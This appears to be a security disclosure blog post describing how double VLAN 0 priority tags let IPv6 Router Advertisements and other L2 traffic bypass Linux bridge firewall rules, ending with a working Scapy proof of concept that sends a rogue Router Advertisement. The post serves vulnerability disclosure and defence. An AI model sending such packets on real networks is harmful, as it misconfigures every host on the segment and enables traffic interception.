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Bridge firewalling “bypass” using VLAN 0

L2 networks are insecure by default, vulnerable to ARP, DHCP, Router Advertisement spoofing to name a few. Over the years security mechanisms have been implemented to detect and or stop those attacks. As usual when you try to filter anything, you MUST use an allow list approach, else you risk letting some unwanted traffic go through.

I was not able to find anything about VLAN 0 attacks, so this might be a novel attack.

The packet syntax in this article is the one used by Scapy

VLAN 0

Many people know that VLAN 1 is special, and that VLAN 0 and 4095 are reserved. Now to be more precise, VLAN 0, i.e. having VID set to 0x000, “indicates that the frame does not carry a VLAN ID; in this case, the 802.1Q tag specifies only a priority (in PCP and DEI fields) and is referred to as a priority tag” (Wikipedia).

When Linux receives a 802.1Q packet, it looks up if a VLAN interface with the correct VID exists to handle this packet, else it’ll be dropped. For example, a packet with VID == 42 would go to eth0.42.

Now if VID == 0x000, Linux ignores/removes the VLAN header and handles it on the untagged interface, ie eth0. To be more precise, on raw sockets (tcpdump) you will see the header (always use tcpdump -e). This means that any software that reads packets from raw sockets must take care of ignoring VID == 0x000 packets, and I discovered the hard way trying to make ucarp work, that on some Cisco UCS servers always add a priority tag.

To sum up, using Scapy syntax, both

Ether()/IP(dst="192.168.2.1")/ICMP()
Ether()/Dot1Q(vlan=0)/IP(dst="192.168.2.1")/ICMP()

will trigger the same response from 192.168.2.1, but for the first packet, ethertype is 0x0800 (IPv4), and for the second it’s 0x8100 (802.1Q). Even if semantically they are the same, they are definitely different at L2, and that can be a problem.

Now the good news is that Linux also supports 802.1AD, and it will remove any number of VLAN 0 headers, so

Ether()/Dot1Q(vlan=0)/Dot1AD(vlan=0)/Dot1Q(vlan=0)/IP(dst="192.168.2.1")/ICMP()

Will also work

Linux firewalling and VLAN 0

Linux can do bridge firewalling using:

  1. XDP
  2. tc
  3. ebtables
  4. nftables netdev tables
  5. ip(6)tables with br_netfilter module and net.bridge.bridge-nf-call-ip(6)tables=1
  6. nftables bridge tables

In all those cases, the rules apply to the “full” packet, i.e. with the VLAN 0 header, meaning that

ip6tables -A FORWARD -p ipv6-icmp -m icmp6 --icmpv6-type 134 -j DROP

will block IPv6 Router Advertisements without VLAN 0 only, as ip6tables will handle “switched” packets with ethertype == 0x86dd only

Enabling bridge-nf-filter-vlan-tagged allows to remove 1 level of VLAN headers, but we can just put 2 levels and be done.

POC

Launch Scapy

ra = Ether()/Dot1Q(vlan=0)/Dot1Q(vlan=0)
ra /= IPv6(dst='ff02::1')
ra /= ICMPv6ND_RA(chlim=64, prf='High', routerlifetime=1800)
ra /= ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr('eth0'))
ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64, validlifetime=1810, preferredlifetime=1800)
sendp(ra)

(If it works, it’ll misconfigure all devices in the same L2 for 30min, you have been warned)

Tested Software

I don’t have any managed switch with RA guard to play with.

Timeline

Acknowledgments